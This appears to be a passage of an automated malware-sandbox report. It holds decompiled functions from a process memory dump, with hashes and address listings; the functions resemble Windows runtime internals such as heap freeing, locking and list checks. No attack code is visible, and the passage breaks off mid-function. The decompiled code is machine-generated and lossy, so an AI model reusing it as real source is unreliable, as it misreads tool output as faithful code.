0x00da920c
0x00da9214
0x00da9214
0x00da91e9
0x00da91e9
0x00da91ee
0x00da91f3
0x00da91f3
0x00da91f3
0x00da91e7
0x00000000
0x00da91db
0x00da9187
0x00da9168

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1980ff01c191bd4093971d61f4bed53f65585eadfc92f5a212f88ca7e83d4aaf
Instruction ID: 96fb63303e41acc4670820bad8fe401d83468ab169cb3ca538c169526154dbf0
Opcode Fuzzy Hash: 1980ff01c191bd4093971d61f4bed53f65585eadfc92f5a212f88ca7e83d4aaf
Instruction Fuzzy Hash: B831D2B1A01346DFDB25DB68C598BADF7F1BB8A314F68815AD4047B292C734AD80CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00DC0050 Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00DC0050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0xe9d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				L00DD9ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return L00DEB640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E00E78A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = L00DD9702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0xe9b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x00dc0055
0x00dc005d
0x00dc0062
0x00dc006c
0x00dc006f
0x00dc0074
0x00dc007a
0x00dc007a
0x00dc0080
0x00dc0080
0x00dc0087
0x00dc008d
0x00dc008f
0x00dc0093
0x00dc0095
0x00dc009b
0x00dc00f8
0x00dc00fb
0x00dc00fc
0x00dc00ff
0x00dc0108
0x00dc0108
0x00dc00a2
0x00dc00a6
0x00dc00b3
0x00dc00bc
0x00dc00c5
0x00dc00ca
0x00e0c01e
0x00000000
0x00000000
0x00e0c02d
0x00dc00d5
0x00dc00d9
0x00e0c03d
0x00e0c046
0x00e0c046
0x00dc00df
0x00dc00e2
0x00dc00ea
0x00dc00ef
0x00dc00f2
0x00dc00f6
0x00dc0111
0x00dc0117
0x00dc0117
0x00000000
0x00dc00f6
0x00dc00d0
0x00dc00d0
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b57cb78b8ef69a45af317031c1d8e85851413a91616b98a66c462969f78060
Instruction ID: 506aa682625a06fd466007119693375fb5bdd606b0ded1a35aa73220b398f65d
Opcode Fuzzy Hash: 09b57cb78b8ef69a45af317031c1d8e85851413a91616b98a66c462969f78060
Instruction Fuzzy Hash: 8A31AE31201B05CFD721CB28C940B56B7E5FF88714F28456EE49A87790DB31AC01DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E26C0A Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00E26C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = L00DC7D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0xe97b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L00DC4620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E00DEF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(L00DC7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E00DE9AE0();
						_t23 = L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x00e26c0a
0x00e26c0f
0x00e26c10
0x00e26c13
0x00e26c15
0x00e26c19
0x00e26c1c
0x00e26c21
0x00e26c28
0x00e26c3a
0x00e26c2a
0x00e26c33
0x00e26c33
0x00e26c3f
0x00e26c48
0x00e26c4d
0x00e26c60
0x00e26c65
0x00e26c69
0x00e26c73
0x00e26c79
0x00e26c7f
0x00e26c86
0x00e26c90
0x00e26c94
0x00e26ca6
0x00e26cb2
0x00e26cbd
0x00e26cbd
0x00e26cc3
0x00e26cc7
0x00e26ccb
0x00e26cd0
0x00e26cd1
0x00e26ce2
0x00e26ce2
0x00e26c69
0x00e26ced

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 763b2556b91f7b8a923daba4dfa0cab8cbcd2b8af2e61647c61831ba96e97696
Instruction ID: 0d5bdf24770b42549be477aeb95af91fcf2cee3bb001af1cf3659754af22b997
Opcode Fuzzy Hash: 763b2556b91f7b8a923daba4dfa0cab8cbcd2b8af2e61647c61831ba96e97696
Instruction Fuzzy Hash: 0C21FEB1A00654AFC711EF68D881F6AB3B8FF48304F04016AF945D77A1D634ED10CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DE90AF Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00DE90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E00DFD4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(L00DDE5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L00DC4620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E00DEF3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E00DDA2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x00de90af
0x00de90b8
0x00de90bb
0x00de90bf
0x00de90c2
0x00de90c2
0x00de90c8
0x00de90cb
0x00de90cd
0x00e214d7
0x00e214eb
0x00e214eb
0x00000000
0x00e214eb
0x00e214db
0x00e214e6
0x00000000
0x00e214f2
0x00e214e8
0x00000000
0x00e214e8
0x00de90d8
0x00de90da
0x00de90dd
0x00de90e5
0x00000000
0x00de9139
0x00de90fa
0x00de90fe
0x00de9142
0x00000000
0x00de9142
0x00de9104
0x00de9107
0x00de910b
0x00de9110
0x00de9118
0x00de9147
0x00de9148
0x00de914f
0x00de9150
0x00de9151
0x00de9152
0x00de9156
0x00de915d
0x00de9160
0x00de9168
0x00de916c
0x00de91bc
0x00de91be
0x00000000
0x00de91be
0x00de916e
0x00de9173
0x00de9176
0x00000000
0x00000000
0x00de917c
0x00de9180
0x00de91b5
0x00000000
0x00de91b5
0x00de9182
0x00de9185
0x00de9189
0x00000000
0x00000000
0x00de918e
0x00de9190
0x00de9198
0x00000000
0x00000000
0x00de91a0
0x00000000
0x00de91ad
0x00de91ad
0x00de91b0
0x00de91b1
0x00000000
0x00de9185
0x00de911a
0x00de911c
0x00de911f
0x00de9125
0x00de9127
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: c3de559c0f1fc927850ffba6f9f0df1b631b0d643881a2aadc53e75d2a37bfcc
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: 692192B1A01755EFDB21EF59D844EAAF7F8EB54354F15886AF999A7200D330ED00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DD3B7A Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00DD3B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0xe984c4; // 0x0
				_v12 = 1;
				_v8 =  *0xe984c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L00DC4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0xe984c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E00DEAA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E00DEFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0xe984c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0xe984c4; // 0x0
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x00dd3b89
0x00dd3b96
0x00dd3ba1
0x00dd3bab
0x00dd3bb5
0x00dd3bb9
0x00e16298
0x00dd3bbf
0x00dd3bc2
0x00dd3bc3
0x00dd3bc9
0x00dd3bca
0x00dd3bcc
0x00dd3bcd
0x00dd3bd4
0x00dd3bd6
0x00dd3bdb
0x00dd3bea
0x00dd3bf7
0x00dd3bfb
0x00dd3bff
0x00dd3c09
0x00dd3c0a
0x00dd3c0b
0x00dd3c0f
0x00dd3c14
0x00dd3c18
0x00dd3c18
0x00dd3bfb
0x00dd3c1b
0x00dd3c30
0x00dd3c30
0x00dd3c3d

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceb45df5ed73943395e994ce777b56cad8318ca2d536f0242968f3952d0964d2
Instruction ID: 3e7a1b23248c07bf5f3bd1f750d40d06f1c71fa3bd02b920fc6258d37e1b2a83
Opcode Fuzzy Hash: ceb45df5ed73943395e994ce777b56cad8318ca2d536f0242968f3952d0964d2
Instruction Fuzzy Hash: AC218072600119AFC704DF58CE81F9AB7BDFB44708F15006AE509AB261D771EE05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E26CF0 Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00E26CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(L00DC7D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(L00DC7D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0xd85c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = L00DDF6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = L00DDF6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E00E27016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L00DC2400( &_v52);
								}
								_t21 = L00DC2400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x00e26cfb
0x00e26d00
0x00e26d02
0x00e26d06
0x00e26d0a
0x00e26d0e
0x00e26d19
0x00e26d2b
0x00e26d1b
0x00e26d24
0x00e26d24
0x00e26d33
0x00e26d39
0x00e26d46
0x00e26d4f
0x00e26d61
0x00e26d51
0x00e26d5a
0x00e26d5a
0x00e26d69
0x00e26d6b
0x00e26d6d
0x00e26d6f
0x00e26d6f
0x00e26d74
0x00e26d79
0x00e26d7a
0x00e26d7f
0x00e26d82
0x00e26d88
0x00e26d89
0x00e26d90
0x00e26d94
0x00e26da7
0x00e26db1
0x00e26db1
0x00e26dbb
0x00e26dbb
0x00e26d90
0x00e26d69
0x00e26d46
0x00e26dc6

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaaa4f1e133e996c3363dd02285dfa559a731e5541c9e3d27164e72daed01589
Instruction ID: 33e727808ab5234bdd0f6d125949e4637d313e3e4c5df6e3743906a297298a4b
Opcode Fuzzy Hash: eaaa4f1e133e996c3363dd02285dfa559a731e5541c9e3d27164e72daed01589
Instruction Fuzzy Hash: 1E2107726043999BC311EF69E944F67B7ECEF81744F08066AF940D7251DB34D908C6B2

Uniqueness

Uniqueness Score: -1.00%

Function 00DB841F Relevance: .1, Instructions: 64
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E00DB841F(signed int __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _t43;
				signed int _t46;
				signed int _t50;
				signed int _t57;
				signed int _t64;

				_v16 = __ecx;
				_t43 =  *0x7ffe0004;
				_v8 = _t43;
				_t57 =  *0x7ffe0014 ^  *( *[fs:0x18] + 0x24) ^  *( *[fs:0x18] + 0x20) ^  *0x7ffe0018;
				_v12 = 0x7ffe0014;
				if(_t43 < 0x1000000) {
					while(1) {
						_t46 =  *0x7ffe0324;
						_t50 =  *0x7FFE0320;
						if(_t46 ==  *0x7FFE0328) {
							break;
						}
						asm("pause");
					}
					_t57 = _v12;
					_t64 = ((_t50 * _v8 >> 0x00000020 << 0x00000020 | _t50 * _v8) >> 0x18) + (_t46 << 8) * _v8;
				} else {
					_t64 = ( *0x7ffe0320 * _t43 >> 0x00000020 << 0x00000020 | 0x7ffe0320 * _t43) >> 0x18;
				}
				_push(0);
				_push( &_v24);
				E00DE9810();
				return _t64 ^ _v20 ^ _v24 ^ _t57 ^ _v16;
			}

0x00db842f
0x00db8448
0x00db844e
0x00db8459
0x00db845b
0x00db8464
0x00e09ac3
0x00e09ac3
0x00e09ac5
0x00e09acb
0x00000000
0x00000000
0x00e09acd
0x00e09acd
0x00e09ad1
0x00e09ae9
0x00db846a
0x00db8475
0x00db8479
0x00db847c
0x00db8481
0x00db8482
0x00db849a

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ac1e4b842af79e23be26fd2b4bf9cab7c83af8bb38cd4daac8e95d5517faf3
Instruction ID: bb8bd7d63eacd61782efe1c373b85ffd928a4cd9157bfb329e8f359ed4f11c68
Opcode Fuzzy Hash: 63ac1e4b842af79e23be26fd2b4bf9cab7c83af8bb38cd4daac8e95d5517faf3
Instruction Fuzzy Hash: 3321B176E00119CBCB14CFA9C580A8AF3F9FB8C350FA64165E949B7341CA30AE44CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00DA9240 Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00DA9240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0xe7f708);
				E00DFD08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E00DE95D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E00DE95D0();
				_t33 =  *0xe984c4; // 0x0
				L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0xe984c4; // 0x0
				L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0xe984c4; // 0x0
				E00DC2280(L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0xe986b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E00DE95D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E00DE95D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E00DA9325();
					_t50 =  *0xe984c4; // 0x0
					return E00DFD0D1(L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x00da9240
0x00da9242
0x00da9247
0x00da924c
0x00da924e
0x00da9255
0x00da9257
0x00da925a
0x00da925f
0x00da925f
0x00da9266
0x00da9271
0x00da9276
0x00da9279
0x00da927e
0x00da9295
0x00da929a
0x00da92b1
0x00da92b6
0x00da92d7
0x00da92dc
0x00da92e0
0x00da92e6
0x00da92e8
0x00da92ee
0x00da9332
0x00da9333
0x00da9337
0x00da9338
0x00da933a
0x00da933a
0x00da933d
0x00da9342
0x00da9342
0x00da9345
0x00da9349
0x00da934e
0x00da9352
0x00da9357
0x00da92f4
0x00da92f4
0x00da92f6
0x00da92f9
0x00da9300
0x00da9306
0x00da9324
0x00da9324

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7b35412b446d2edb11dc89eba5f885c8829ce27dbd828db19908298e81dbf1bc
Instruction ID: bdda343ba453c222ef6e4a701d5601043593fec930bdfaa26fd8c9171e053328
Opcode Fuzzy Hash: 7b35412b446d2edb11dc89eba5f885c8829ce27dbd828db19908298e81dbf1bc
Instruction Fuzzy Hash: F7214572041641EFC722EF28CA11F5AB7B9FF09704F144569F109976B2CB34E941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00DDB390 Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00DDB390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E00DC2280(_t12, 0xe98608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E00DE00C2(0xe98608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x00ddb395
0x00ddb3a2
0x00ddb3a5
0x00ddb3aa
0x00ddb3b2
0x00ddb3ba
0x00ddb3bd
0x00ddb3c0
0x00ddb3c4
0x00ddb3c9
0x00e1a3e9
0x00e1a3ed
0x00e1a3f0
0x00e1a3ff
0x00e1a403
0x00e1a409
0x00000000
0x00000000
0x00e1a40b
0x00e1a40b
0x00e1a40f
0x00e1a415
0x00e1a423
0x00e1a423
0x00e1a415
0x00ddb3d1
0x00ddb3e8
0x00ddb3e8
0x00ddb3d9

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc18cc3cfe8a6dfe50c24c65347198f673c8409590c61f0499b7558ed8733361
Instruction ID: 100bab9fd647931c840c7b160f63ace56f1bc32e88b53d9c2ab08dfeced7611c
Opcode Fuzzy Hash: cc18cc3cfe8a6dfe50c24c65347198f673c8409590c61f0499b7558ed8733361
Instruction Fuzzy Hash: BA114833706110DBCB189A158E82ABF7256EBD5330B29113EE916DB391CE319C02D6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00E34257 Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00E34257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0xe808d0);
				E00DFD08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E00E341E8(__ebx, __edi, __ecx, _t39);
				L00DBEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0xe987e4;
					_t18 =  *0xe987e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0xe95cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0xe987e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0xe987e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L00DA7055(_t31 + 0xfffffff8);
								_t24 =  *0xe987e0; // 0x0
								_t18 = _t24 - 1;
								 *0xe987e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0xe95cd0;
				if( *0xe95cd0 <= 0) {
					L00DA7055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0xe987e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0xe987e8 = _t30;
